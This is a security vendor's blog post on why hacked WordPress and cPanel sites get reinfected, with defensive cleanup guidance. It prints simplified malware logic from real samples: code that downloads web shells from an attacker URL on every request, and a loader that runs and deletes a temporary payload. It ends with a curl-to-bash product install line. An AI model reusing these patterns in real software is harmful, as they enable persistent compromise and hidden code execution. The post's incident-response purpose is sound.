# Why a Hacked Site Gets Reinfected After You Clean It

> You removed the malware and it came back. Real samples show why: injected code that reinstalls deleted files on every page view, payloads that delete themselves, and an entry point nobody closed.

Source: https://www.pyxsoft.com/blog/why-sites-get-reinfected-after-cleaning
Published: 2026-10-30
Tags: malware, cpanel, wordpress, security, incident-response

---

![A hidden infected file deep in a server's folder tree sends a line back up to the cleaned website](https://www.pyxsoft.com/_astro/cover.CHK9E5YB.jpg)

You find the shell, delete it, and scan again: all clear. Three days later, the same customer opens a ticket about the same redirect. It is tempting to call it bad luck, or a new attack.

Usually it is neither. The first cleanup removed what was visible and left behind whatever put it there. The malware samples below, taken from real sites, show how that happens and why the order of your cleanup matters.

<!--truncate-->

## Reason 1: the file you deleted reinstalls itself

This sample reached [Pyxsoft Labs](https://www.pyxsoft.com/anti-malware) as a site's root `index.php`. Part of its code was wrapped in four layers of encoding (`str_rot13`, `base64_decode`, `strrev` and `gzuncompress`). Once decoded, the logic is short. Here it is simplified, with the attacker's URL and file names removed:

```php
if (!file_exists($shell_path)) {
    $code = http_get_contents($attacker_url);
    if (preg_match('/<\?php/', $code)) {
        save($shell_path, $code);
    }
}
```

It repeats this for three separate files: two web shells and a mailer, judging by the names in its code. Since the code sits in the site's front controller, this check runs **on every request that loads the home page or any other page routed through `index.php`**.

Now picture the usual cleanup. You find three strange PHP files and delete them. `index.php` looks familiar, so you leave it. The next visitor, or the next search engine crawler, loads a page and all three files come back.

**What this means for you:** if a deleted file returns within minutes, don't delete it again. Look for what recreates it, starting with files that run on every request: `index.php`, `wp-config.php`, the active theme's `functions.php`, and anything in `wp-content/mu-plugins`.

**Clean in this order:** remove the injection first, then the files it creates. In the opposite order, the files can reappear while you work.

## Reason 2: a dropper you never saw

In our [analysis of a PHP dropper family](https://www.pyxsoft.com/blog/one-signature-eight-obfuscated-droppers), each dropper wrote its payload to a random writable folder under the docroot, with a random name. Eight variants turned up under `wp-content/uploads`, and none of them were found by a typical `grep` for `eval` or `base64_decode`.

If you clean the payload you noticed, any other dropper can simply deliver it again. An attacker with one working dropper will often have left several, as insurance against this exact cleanup.

**What this means for you:** don't stop at the first file. Search by change time across the entire account, not just the folder where you found the infection, and check for PHP files in `uploads`.

## Reason 3: the payload that leaves no file

Some malware has nothing for you to find afterward. This loader, from the same batch, handles a command like this, simplified:

```php
$payload = '<?php unlink(__FILE__); ' . $command['d'];
file_put_contents($temp_file, $payload);
include $temp_file;
unlink($temp_file);
```

It writes the attacker's code to a temporary file with a `.pl` extension, runs it, and deletes it, and the payload's first instruction also deletes its own file. By the time you look, the code that ran is gone, and only its effects remain, such as a changed file, a new admin user or a sent email.

**What this means for you:** a clean file scan doesn't prove nothing happened. Your access logs may be the only record, so look for repeated POST requests to files that shouldn't receive them. The loader also accepts commands through cookies, and standard access logs don't record those, so a quiet log isn't proof either.

## Reason 4: the attacker undid your hardening

The sample from Reason 1 also checks whether `.htaccess` contains rules like `deny from all`. If it does, it replaces the whole file with the default WordPress rewrite rules. So a block you added to stop PHP from running can be removed by the malware itself.

Another part of the same sample raises the stakes. It temporarily sets the web root to `0755`, writes a file in the format Google uses for site ownership verification, and sets the folder to `0555`. It also checks for search engine crawlers by user agent and handles those requests differently. This is SEO spam, and it suggests the goal is to control how the site looks to search engines. Your scan can come back clean while someone else remains a verified owner in Search Console.

**What this means for you:**

- Check `.htaccess` again after the cleanup, not just during it.
- Look for `google*.html` files you don't recognize, and review the verified owners in Google Search Console.
- Reset docroot permissions. If they are `0555`, the owner's own tools may fail with no obvious reason.

## Reason 5: the way in is still open

Everything above is about what the attacker left behind. Even a perfect cleanup does nothing about how they got in. If a vulnerable plugin is still installed, or a stolen password still works, the same automated attack can repeat.

Common causes to check:

- **A plugin or theme with a known vulnerability:** this includes inactive ones, because their files can still be reached directly.
- **Stolen credentials:** WordPress, FTP, cPanel and database passwords. The sample above also sends the whole `$_SERVER` array to a remote server, which can expose environment variables on some setups.
- **Infected backups:** restoring one puts the problem straight back.
- **Other accounts on the server:** without isolation between accounts, one compromised account can reach another's files. Scan the whole server, not just the account that complained.

## What a reinfection tells you

When something does come back, it gives you information. Use it.

| What you see | Most likely cause | Where to look |
|---|---|---|
| Same file returns within minutes | Injected code recreating it | Files that run on every request |
| Same file returns after hours or days | A scheduled task, or a repeat attack | Cron jobs, then access logs at that moment |
| New files with random names | A dropper you missed, or an open entry point | `ctime` search of the entire account |
| Clean files, but symptoms remain | Database injection or `.htaccess` | WordPress options and posts, `.htaccess` |
| Spam in search results only | Content shown only to crawlers | Fetch the page with a Googlebot user agent |

A returning file also hands you a precise timestamp, which makes it the best clue you will get. Find what changed recently, then read the logs for that same minute:

```bash
find /home/ACCOUNT/public_html -type f -name '*.php' -cmin -60 \
  -printf '%CY-%Cm-%Cd %CH:%CM  %p\n' | sort -r

grep -h '30/Oct/2026:14:2' /etc/apache2/logs/domlogs/DOMAIN*
```

Change the date and time in the second command to match the file. If a request lands in the same minute, you have probably found the file or URL being used. If nothing does, look at scheduled tasks.

## A cleanup order that holds

1. **Preserve** the files and logs before you change anything.
2. **Close the way in**, or at least contain it: update or remove the vulnerable plugin, and change all passwords.
3. **Remove self-healing code first:** the injections in files that run on every request.
4. **Remove what it created:** droppers, shells and any scheduled tasks.
5. **Check what isn't a PHP file:** `.htaccess`, permissions, admin users, the database, and Search Console.
6. **Watch the account for a week.** Repeat the `ctime` search each day. A reinfection caught on day two is far cheaper than a blocklist on day ten.

Our [step-by-step cleanup guide for cPanel servers](https://www.pyxsoft.com/blog/find-clean-malware-cpanel-server) has the commands for most of these steps.

## Where automation helps, and where it doesn't

Step 6 is the one nobody keeps up across a whole server, and it's where [Pyxsoft Anti Malware](https://www.pyxsoft.com/anti-malware) helps most. It watches files in real time and checks each change as it is written, so a returning file is noticed when it reappears, not when a customer complains. Auto Clean cuts injected code out of legitimate files and keeps the original so you can undo the change, which suits the injections from Reason 1, when a signature marks them as cleanable.

It doesn't do the rest for you. It won't patch the vulnerable plugin, change a stolen password, or tell you who is verified in Search Console. Treat a detection as the start of the investigation.

It is licensed per server, whatever the number of accounts, and you can try it free for 7 days without a credit card:

```bash
curl -s https://www.pyxsoft.com/install-anti-malware | bash
```
